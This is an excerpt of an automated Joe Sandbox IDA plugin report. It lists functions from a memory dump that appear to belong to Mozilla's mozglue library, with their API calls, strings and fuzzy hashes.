Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: freemoz_xmalloc$HandleModule$malloc
String ID: ntdll.dll
API String ID: 301460908-2227199552
Opcode ID: 5430fe619b8341b7e10dcb750cc0d123b1b47498fe8a8d1b6089d2bd423dac8c
Instruction ID: 3d6800a22d7f879b9ac7e453df258d0f0fdc8ce80f00fedee9823f6849102377
Opcode Fuzzy Hash: 5430fe619b8341b7e10dcb750cc0d123b1b47498fe8a8d1b6089d2bd423dac8c
Instruction Fuzzy Hash: C64148B1E042148BDF289F68DA41B9EB7B1EF55318F22483DD85AA7780EB35F404CB81

Function 6C906A10 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 115stringCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(6C92F618), ref: 6C906A68
GetCurrentProcess.KERNEL32 ref: 6C906A7D
GetCurrentProcess.KERNEL32 ref: 6C906AA1
EnterCriticalSection.KERNEL32(6C92F618), ref: 6C906AAE
strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C906AE1
strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C906B15
strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100,?,?), ref: 6C906B65
LeaveCriticalSection.KERNEL32(6C92F618,?,?), ref: 6C906B83

Strings

SymInitialize, xrefs: 6C906BA3

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: CriticalSectionstrncpy$CurrentProcess$EnterInitializeLeave
String ID: SymInitialize
API String ID: 3103739362-3981310019
Opcode ID: 5a4571b6c024353891cfbac3d33349d0585b9ae1c0058668bee999c82192c751
Instruction ID: 23a216fad1a6bf73ad8e06b50190546693ef0b8f6254e71e0e3be6e8225c6f1c
Opcode Fuzzy Hash: 5a4571b6c024353891cfbac3d33349d0585b9ae1c0058668bee999c82192c751
Instruction Fuzzy Hash: A041BF707193489FEB00CF74C888B9A3BF8EB56308F144579ED89DB282DB749548CBA1

Function 6C8B9620 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 103libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C8B9675
__Init_thread_footer.LIBCMT ref: 6C8B9697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C8B96E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C8B9707
__Init_thread_footer.LIBCMT ref: 6C8B971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C8B9773

Part of subcall function 6C8DAB89: EnterCriticalSection.KERNEL32(6C92E370,?,?,?,6C8A34DE,6C92F6CC,?,?,?,?,?,?,?,6C8A3284), ref: 6C8DAB94
Part of subcall function 6C8DAB89: LeaveCriticalSection.KERNEL32(6C92E370,?,6C8A34DE,6C92F6CC,?,?,?,?,?,?,?,6C8A3284,?,?,6C8C56F6), ref: 6C8DABD1

GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C8B97B7
FreeLibrary.KERNEL32 ref: 6C8B97D0
FreeLibrary.KERNEL32 ref: 6C8B97EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C8B9824

Strings

Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C8B9670
ntdll.dll, xrefs: 6C8B96E3
NtMapViewOfSection, xrefs: 6C8B9701
MapViewOfFileNuma2, xrefs: 6C8B97B1

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: Library$AddressCriticalErrorFreeInit_thread_footerLastLoadProcSection$EnterLeave
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 409848716-3880535382
Opcode ID: 7dd0378e1940c896ef087461a7b68699566cb2f1fe9c56c3e7a0c4e7c3791c30
Instruction ID: 5d84780e598afd8167dc8d7d27c96294b6e1911579776b45729b4830c7a6546d
Opcode Fuzzy Hash: 7dd0378e1940c896ef087461a7b68699566cb2f1fe9c56c3e7a0c4e7c3791c30
Instruction Fuzzy Hash: 4141F5716142119BDF10CFA4D984A9B7BF8FB4AB18F214928ED85A7740D738E805CFA1

Function 6C8A1E90 Relevance: 15.1, APIs: 9, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C92E784), ref: 6C8A1EC1
LeaveCriticalSection.KERNEL32(6C92E784), ref: 6C8A1EE1
EnterCriticalSection.KERNEL32(6C92E744), ref: 6C8A1F38
LeaveCriticalSection.KERNEL32(6C92E744), ref: 6C8A1F5C
VirtualFree.KERNEL32(?,00100000,00004000), ref: 6C8A1F83
LeaveCriticalSection.KERNEL32(6C92E784), ref: 6C8A1FC0
EnterCriticalSection.KERNEL32(6C92E784), ref: 6C8A1FE2
LeaveCriticalSection.KERNEL32(6C92E784), ref: 6C8A1FF6
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C8A2019

Strings

MOZ_CRASH(), xrefs: 6C8A2000

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$FreeVirtualmemset
String ID: MOZ_CRASH()
API String ID: 2055633661-2608361144
Opcode ID: d8c9b3592e01c978b8f1d81b736f037de07635963c2fd8d7f51a1aefa3c262f6
Instruction ID: 0932228090c93eaa981c632275d33fdab9b1b198a3c29f507c2547172933a8e8
Opcode Fuzzy Hash: d8c9b3592e01c978b8f1d81b736f037de07635963c2fd8d7f51a1aefa3c262f6
Instruction Fuzzy Hash: C1411371B183098BDF208FB8C984BAA37B9FB49749F100435E98597745DB78D8058BD1

Function 6C8EDBB0 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 207threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C8E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C8B4A68), ref: 6C8E945E
Part of subcall function 6C8E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C8E9470
Part of subcall function 6C8E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C8E9482
Part of subcall function 6C8E9420: __Init_thread_footer.LIBCMT ref: 6C8E949F

GetCurrentThreadId.KERNEL32 ref: 6C8EDBE1
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C8EDBE9

Part of subcall function 6C8E94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C8E94EE
Part of subcall function 6C8E94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C8E9508

??1ios_base@std@@UAE@XZ.MSVCP140 ref: 6C8EDC5D
moz_xmalloc.MOZGLUE(00000008,00000000), ref: 6C8EDC7F

Part of subcall function 6C8BCA10: malloc.MOZGLUE(?), ref: 6C8BCA26

Part of subcall function 6C8E9A60: GetCurrentThreadId.KERNEL32 ref: 6C8E9A95
Part of subcall function 6C8E9A60: _getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C8E9A9D
Part of subcall function 6C8E9A60: ?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C8E9ACC
Part of subcall function 6C8E9A60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C8E9BA7
Part of subcall function 6C8E9A60: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C8E9BB8
Part of subcall function 6C8E9A60: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C8E9BC9

Part of subcall function 6C8EE8B0: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,6C8EDCF5), ref: 6C8EE92D

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C8EDD1B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C8EDD44
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C8EDD58

Part of subcall function 6C8DCBE8: GetCurrentProcess.KERNEL32(?,6C8A31A7), ref: 6C8DCBF1
Part of subcall function 6C8DCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C8A31A7), ref: 6C8DCBFA

Strings

[I %d/%d] locked_profiler_save_profile_to_file(%s), xrefs: 6C8EDBF2

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: CurrentTimefreegetenv$ProcessStampThreadV01@@Value@mozilla@@_getpidmalloc$??1ios_base@std@@?profiler_time@baseprofiler@mozilla@@Init_thread_footerNow@Stamp@mozilla@@TerminateV12@___acrt_iob_func__stdio_common_vfprintfmoz_xmalloc
String ID: [I %d/%d] locked_profiler_save_profile_to_file(%s)
API String ID: 3378208378-1387374313
Opcode ID: e061fac15074820f0f12db159309c7e171b0a279926a73eb8dbdf8ccafe4f00e
Instruction ID: 083b5a2439af00a386e2c01041071ad76ed974fc4b9d341820293d4c91351aa8
Opcode Fuzzy Hash: e061fac15074820f0f12db159309c7e171b0a279926a73eb8dbdf8ccafe4f00e
Instruction Fuzzy Hash: 56819F746007048FDB34DF29C595AA6B7F5AF8A308B108D2DD8AA87F51DB34E90DCB91

Function 6C8F0000 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 127threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C8E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C8B4A68), ref: 6C8E945E
Part of subcall function 6C8E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C8E9470
Part of subcall function 6C8E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C8E9482
Part of subcall function 6C8E9420: __Init_thread_footer.LIBCMT ref: 6C8E949F

GetCurrentThreadId.KERNEL32 ref: 6C8F0039
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C8F0041
GetCurrentThreadId.KERNEL32 ref: 6C8F0075
AcquireSRWLockExclusive.KERNEL32(6C92F4B8), ref: 6C8F0082
moz_xmalloc.MOZGLUE(00000048), ref: 6C8F0090
free.MOZGLUE(?), ref: 6C8F0104
ReleaseSRWLockExclusive.KERNEL32(6C92F4B8), ref: 6C8F011B

Strings

[D %d/%d] profiler_register_page(%llu, %llu, %s, %llu), xrefs: 6C8F005B

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease_getpidfreemoz_xmalloc
String ID: [D %d/%d] profiler_register_page(%llu, %llu, %s, %llu)
API String ID: 3012294017-637075127
Opcode ID: 7b57ce7e44fb54b28b5f4a4913ac7e8bd1fa0a13d69d1dfc948011d393e9f9b9
Instruction ID: 4f06e7791f2f34b827f2fa84b36d57a13d87d5082a0eec156d01a5e0bd7749ae
Opcode Fuzzy Hash: 7b57ce7e44fb54b28b5f4a4913ac7e8bd1fa0a13d69d1dfc948011d393e9f9b9
Instruction Fuzzy Hash: 0F41BFB16147549FCB20DF68C944A9ABBF0FF49358F50492DE99A83B40D735F805CB91

Function 6C8B7E90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 116stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C8B7EA7
malloc.MOZGLUE(00000001), ref: 6C8B7EB3

Part of subcall function 6C8BCAB0: EnterCriticalSection.KERNEL32(?), ref: 6C8BCB49
Part of subcall function 6C8BCAB0: LeaveCriticalSection.KERNEL32(?), ref: 6C8BCBB6

strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6C8B7EC4
mozalloc_abort.MOZGLUE(?), ref: 6C8B7F19
malloc.MOZGLUE(?), ref: 6C8B7F36
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C8B7F4D

Strings

d, xrefs: 6C8B7F89

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: CriticalSectionmalloc$EnterLeavememcpymozalloc_abortstrlenstrncpy
String ID: d
API String ID: 204725295-2564639436
Opcode ID: 2666a71e4a92f8d963583e56c08858f2d788077607f8b2e3304f350265abb87f
Instruction ID: af33f1ecd8c76f26274fff6d27c3ded34a69d6612ac2adea8c610baa0282d995
Opcode Fuzzy Hash: 2666a71e4a92f8d963583e56c08858f2d788077607f8b2e3304f350265abb87f
Instruction Fuzzy Hash: 51312A62E0878897DB019B78CD455FEB778EF96208F155A28EC4967712FB34E9C8C390

Function 6C8B3E80 Relevance: 13.7, APIs: 9, Instructions: 246memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?,?,?,?,?,?,6C8B3CCC), ref: 6C8B3EEE
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C8B3FDC
RtlAllocateHeap.NTDLL(?,00000000,00000040,?,?,?,?,?,6C8B3CCC), ref: 6C8B4006
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C8B40A1
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C8B3CCC), ref: 6C8B40AF
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C8B3CCC), ref: 6C8B40C2
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C8B4134
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,00000040,?,?,?,?,?,6C8B3CCC), ref: 6C8B4143
RtlFreeUnicodeString.NTDLL(?,?,?,00000000,?,?,00000000,00000040,?,?,?,?,?,6C8B3CCC), ref: 6C8B4157

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: Free$Heap$StringUnicode$Allocate
String ID:
API String ID: 3680524765-0
Opcode ID: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction ID: 60d4c3aac67567c7f1981c3e78e23061773d87f4d6aa15e482eb5e38740c7c04
Opcode Fuzzy Hash: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction Fuzzy Hash: 82A191B1A00215CFDB60CF28C9C065AB7B5FF98318F2549A9D909AF742D771ED46CBA0

Function 6C8A2030 Relevance: 13.7, APIs: 7, Strings: 2, Instructions: 204memoryCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,6C8C3F47,?,?,?,6C8C3F47,6C8C1A70,?), ref: 6C8A207F
memset.VCRUNTIME140(?,000000E5,6C8C3F47,?,6C8C3F47,6C8C1A70,?), ref: 6C8A20DD
VirtualFree.KERNEL32(00100000,00100000,00004000,?,6C8C3F47,6C8C1A70,?), ref: 6C8A211A
EnterCriticalSection.KERNEL32(6C92E744,?,6C8C3F47,6C8C1A70,?), ref: 6C8A2145
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004,?,6C8C3F47,6C8C1A70,?), ref: 6C8A21BA
EnterCriticalSection.KERNEL32(6C92E744,?,6C8C3F47,6C8C1A70,?), ref: 6C8A21E0
LeaveCriticalSection.KERNEL32(6C92E744,?,6C8C3F47,6C8C1A70,?), ref: 6C8A2232

Strings

MOZ_CRASH(), xrefs: 6C8A227D
MOZ_RELEASE_ASSERT(node->mArena == this), xrefs: 6C8A2253, 6C8A2268

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: CriticalSection$EnterVirtual$AllocFreeLeavememcpymemset
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(node->mArena == this)
API String ID: 889484744-884734703
Opcode ID: e0aa2898397947fb10618601afbab269b3cfa4531666fc4764014200a4af0fd5
Instruction ID: 64b2cdf51dc11d5dfdefb2cc426838e205a93d8b8d705af331a4917e5246f765
Opcode Fuzzy Hash: e0aa2898397947fb10618601afbab269b3cfa4531666fc4764014200a4af0fd5
Instruction Fuzzy Hash: 2B611831F042158FCB34CEBACA8976D73B5EF85318F254A39E568A7A84D7389C01C781

Function 6C8A48E0 Relevance: 13.7, APIs: 9, Instructions: 198COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(8E8DFFFF,?,6C8E483A,?), ref: 6C8A4ACB
memcpy.VCRUNTIME140(-00000023,?,8E8DFFFF,?,?,6C8E483A,?), ref: 6C8A4AE0
moz_xmalloc.MOZGLUE(FFFE15BF,?,6C8E483A,?), ref: 6C8A4A82

Part of subcall function 6C8BCA10: mozalloc_abort.MOZGLUE(?), ref: 6C8BCAA2

memcpy.VCRUNTIME140(-00000023,?,FFFE15BF,?,?,6C8E483A,?), ref: 6C8A4A97
moz_xmalloc.MOZGLUE(15D4E801,?,6C8E483A,?), ref: 6C8A4A35

Part of subcall function 6C8BCA10: malloc.MOZGLUE(?), ref: 6C8BCA26

memcpy.VCRUNTIME140(-00000023,?,15D4E801,?,?,6C8E483A,?), ref: 6C8A4A4A
moz_xmalloc.MOZGLUE(15D4E824,?,6C8E483A,?), ref: 6C8A4AF4
moz_xmalloc.MOZGLUE(FFFE15E2,?,6C8E483A,?), ref: 6C8A4B10
moz_xmalloc.MOZGLUE(8E8E0022,?,6C8E483A,?), ref: 6C8A4B2C

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: moz_xmalloc$memcpy$mallocmozalloc_abort
String ID:
API String ID: 4251373892-0
Opcode ID: 5d8f15a46075c6f23e74a93108e1c775b8c62672de11371df24fb4108a31228e
Instruction ID: 5a8dc44cd1eebbc34b3b916ca06ca42cb3ff58ea54a2db430da6c6dc347da4bd
Opcode Fuzzy Hash: 5d8f15a46075c6f23e74a93108e1c775b8c62672de11371df24fb4108a31228e
Instruction Fuzzy Hash: 66718DB19007069FCB64CFA8C580AAAB7F4FF89304B145A3ED15A9BB51EB31F555CB80

Function 6C8F9D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C8F8273), ref: 6C8F9D65
free.MOZGLUE(6C8F8273,?), ref: 6C8F9D7C
free.MOZGLUE(?,?), ref: 6C8F9D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C8F9E0F
free.MOZGLUE(6C8F946B,?,?), ref: 6C8F9E24
free.MOZGLUE(?,?,?), ref: 6C8F9E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C8F9EC8
free.MOZGLUE(6C8F946B,?,?,?), ref: 6C8F9EDF
free.MOZGLUE(?,?,?,?), ref: 6C8F9EF5

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: e278863bf65dd86381a4fd04c65e39bd1047cfb039670df7c0632fd351cb5658
Instruction ID: 078beb212d2587da1021dedb8e916b22192368b92110315f049df70b1823f4bb
Opcode Fuzzy Hash: e278863bf65dd86381a4fd04c65e39bd1047cfb039670df7c0632fd351cb5658
Instruction Fuzzy Hash: B871A270A09B418BD722CF18C68055BF3F4FF99315B549A1DE85A9B701EB31E886CBD1

Function 6C8FDDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6C8FDDCF

Part of subcall function 6C8DFA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C8DFA4B

Part of subcall function 6C8F90E0: free.MOZGLUE(?,00000000,?,?,6C8FDEDB), ref: 6C8F90FF
Part of subcall function 6C8F90E0: free.MOZGLUE(?,00000000,?,?,6C8FDEDB), ref: 6C8F9108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C8FDE0D
free.MOZGLUE(00000000), ref: 6C8FDE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C8FDE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C8FDEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C8FDEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C8EDEFD,?,6C8B4A68), ref: 6C8FDF32

Part of subcall function 6C8FDAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C8FDB86
Part of subcall function 6C8FDAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C8FDC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C8EDEFD,?,6C8B4A68), ref: 6C8FDF65
free.MOZGLUE(?), ref: 6C8FDF80

Part of subcall function 6C8C5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C8C5EDB
Part of subcall function 6C8C5E90: memset.VCRUNTIME140(6C907765,000000E5,55CCCCCC), ref: 6C8C5F27
Part of subcall function 6C8C5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C8C5FB2

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: fa5d4c2a3e6f3f0dbf47a70dc528d8bca00c2a5f5d7e489b71bf2844a0422251
Instruction ID: 2675683a2b986d02f9cb0c046d8a7c41e4d1b5bce4584e67c902e69a754a7c72
Opcode Fuzzy Hash: fa5d4c2a3e6f3f0dbf47a70dc528d8bca00c2a5f5d7e489b71bf2844a0422251
Instruction Fuzzy Hash: C151CA727057009BE7319F18CA8069EB372BF91388F95092ED66A53B00D731F91BCB92

Function 6C8FAB90 Relevance: 13.6, APIs: 9, Instructions: 135threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C8FABB4
AcquireSRWLockExclusive.KERNEL32(6C8B4A63), ref: 6C8FABC0
ReleaseSRWLockExclusive.KERNEL32 ref: 6C8FAC06
GetCurrentThreadId.KERNEL32 ref: 6C8FAC16
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C8FAC27
ReleaseSRWLockExclusive.KERNEL32 ref: 6C8FAC66
free.MOZGLUE(?), ref: 6C8FAD19
free.MOZGLUE(00000000), ref: 6C8FAD2B
